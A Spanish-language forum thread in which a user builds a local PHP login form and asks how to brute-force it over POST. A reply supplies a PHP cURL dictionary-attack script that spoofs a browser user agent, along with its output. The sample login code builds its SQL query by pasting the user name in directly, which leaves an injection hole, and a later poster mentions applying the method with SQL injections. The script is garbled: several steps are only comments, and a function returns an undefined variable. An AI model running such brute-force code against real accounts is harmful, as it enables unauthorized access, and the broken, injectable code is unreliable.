Título: Fuerza bruta método POST [PHP]
Publicado por: #Aitor en 31 Diciembre 2013, 16:35 pm
Hola buenas. Os explico... Tenemos una base de datos, dónde hay un usuario llamado Aitor. Dicho usuario tiene una contraseña comprendida entre el 0 y el 10. Se utiliza el método POST... Ahora bien, yo creo un diccionario. Ahora bien, la pregunta del millon, ¿cómo narices haces para que el archivo.text se inserte en el formulario? Para no hacer nada ilegal, yo tengo montado un servidor de apache en el cuál tengo montado lo siguiente; BruteForce.html <html> <head><title>BruteForce</title></head> <body> <form method="post" action="BruteForce.php"> <input type="text" name="user" /><br /> <input type="password" name="password" /><br /> <input type="submit" value="Log in" /> </form> </body> </html>
BruteForce.php <?php $user = $_POST['user']; $password = $_POST['password']; try { $con = new PDO('mysql:host=localhost;dbname=bruteforce', "root", "XXXXXXX"); $return = $con->query("SELECT PASSWORD FROM BruteForce WHERE USER = '$user'")->fetchColumn(); if($return==false){ echo "El usuario no se encontró en la base de datos."; }else if($return !== $password){ echo "Contraseña incorrecta"; }else if($return === $password){ $_SESSION['user'] = $user; echo "Contraseña correcta"; }}catch (PDOException $e) { print "Error!: " . $e->getMessage() . "<br/>"; }}else{ echo "Campos vacios"; }
Start.php <?php if(isset($_SESSION['user'])){ echo "Welcome " . $_SESSION['user'] . "<br><a href=close.php>Log out </a><p></p>"; }else{ echo "Esto lo ves si no iniciaste sesión"; } ?>
Close.php <?php ?>
Como podéis observar es un formulario con dos cajas de texto y un submit, que pasa los datos a una página PHP, que conecta con una base de datos. Si lo escrito en el formulario coincide con lo que hay en la base de datos entonces entras en la sesion. La base de datos tiene lo siguiente: ID || USER || PASSWORD || ---------------------------------- 1 || Aitor || 8 || ---------------------------------- 2 || Admin || 10 || ---------------------------------- Quizá me estoy complicando demasiado y para hacer una prueba bastaría con un Formulario.html <html> <head><title>BruteForce</title></head> <body> <form method="post" action="Comprobacion.php"> <input type="text" name="user" /><br /> <input type="password" name="password" /><br /> <input type="submit" value="Log in" /> </form> </body> </html>
Comprobacion.php <?php $user = $_POST['user']; $password = $_POST['password']; if($user === "Aitor" && $password == 10){ echo "Correcto"; }else{ echo "Incorrecto"; ?>
Sea como fuere, esto lo pregunté hace tiempo (cuando apenas sabía php). y la respuesta fue; para hacer un script que crackee el login, teniendo el campo de usuario y clave, necesitas, identificar el método por el cual se envían los campos (GET o POST) ahí ya te vas haciendo la idea...
Ahora la pregunta sería más bien. - ¿Qué lenjuage necesitaría usar?
- ¿Podríais darme algún ejemplo?
- ¿Existe algún programa que haga esta función?
Un saludo y gracias.
Título: Re: Fuerza bruta método POST [PHP]
Publicado por: EFEX en 31 Diciembre 2013, 16:57 pm
Puedes aprender a utilizar curl. http://php.net/manual/es/book.curl.php
Programas? existen muchos hasta plugins para tu navegador...
Título: Re: Fuerza bruta método POST [PHP]
Publicado por: #!drvy en 31 Diciembre 2013, 17:40 pm
cURL mola :P .. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas). <?php // Url a donde enviar los datos. $url = 'http://localhost/prueba.php'; // Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..) $datos = array('user'=>'Aitor'); // Nombre del campo que contiene la contraseña $campo_password = 'password'; // Archivo con las contraseñas $archivo_passwords = 'passwords.txt'; // Resultado deberia ser.. puede ser parte de un string. $string_valido = 'Bienvenido'; /* ------------------------------------------------ */ function procesar_archivo($archivo){ $handle = fopen($archivo,'r'); return $content; } // Iniciamos curl. // Indicamos que debe devolver el resultado // Indicamos la url. // Indicamos que va a ser un POST y su longitud. // Indicamos que siga las redirecciones // Simulamos ser un navegador Firefox. curl_setopt($ch, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'); // Procesamos el archivo. $passwords = procesar_archivo($archivo_passwords); if(empty($passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');} // Por cada password foreach($passwords as $password){ // Converimos los datos a url. (ej: usuario=Aitor&email=hola) $string=''; foreach($datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; } // Añadimos el campo password $string.=$campo_password.'='.$password; // Añadimos los datos al POST // Ejecutamos curl echo 'Probando -'.$password; // Comprobamos si fue validado if(strstr($resultado,$string_valido)){echo '-VALIDO';break ;} else {echo '-NO VALIDO <br />'; continue;} } ?>
Prueba PHP: <?php $user = $_POST['user']; $password = $_POST['password']; if($user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";} ?>
Resultado: Probando -1-NO VALIDO Probando -2-NO VALIDO Probando -3-NO VALIDO Probando -4-NO VALIDO Probando -5-NO VALIDO Probando -6-NO VALIDO Probando -7-NO VALIDO Probando -8-NO VALIDO Probando -9-NO VALIDO Probando -10-VALIDO
Saludos
Título: Re: Fuerza bruta método POST [PHP]
Publicado por: #Aitor en 31 Diciembre 2013, 18:02 pm
Tu script funciona a la perfección @drvy, una lástima que entienda muy poco por no decir nada del código, todo será aprender Curl.
Muchas gracias a los dos por vuestro tiempo >.<'
;-) ;-)
Título: Re: Fuerza bruta método POST [PHP]
Publicado por: EFEX en 31 Diciembre 2013, 18:27 pm
drvy tiene mas idea que yo con curl(sabia que iba agregar un ejemplo :xD), hasta podes crear un bot como hizo el, tiene varios usos curl.
Título: Re: Fuerza bruta método POST [PHP]
Publicado por: RyukZ92 en 18 Febrero 2016, 18:17 pm
Hola amigo #!drvy, excelente información brindada pero quiero decirte algo, tú código de curl y fuerza bruta tiene un pequeño problema que no logro captar, y es que al poner el campo contraseña como STRING en el archivo prueba.php EJEMPLO: if($user == "Aitor" && $password == "1a0") ya no me funciona el script correctamente, al menos que en archivo de texto passwords coloque la contraseña al final es que la valida, del resto no, solo aplica para enteros.
¿Qué pudiera ser eso?
PD: Es un proyecto que hago y te aclaro que apliqué la misma sitaxis de código pero con inyecciones SQL y me va perfectamente pero el problema es para cuando hay usuarios y contraseñas. Yo ya llevé este código a base de datos y todo lo demás, pero el error está en esta porción que muestras acá.
Espero su ayuda por favor.
|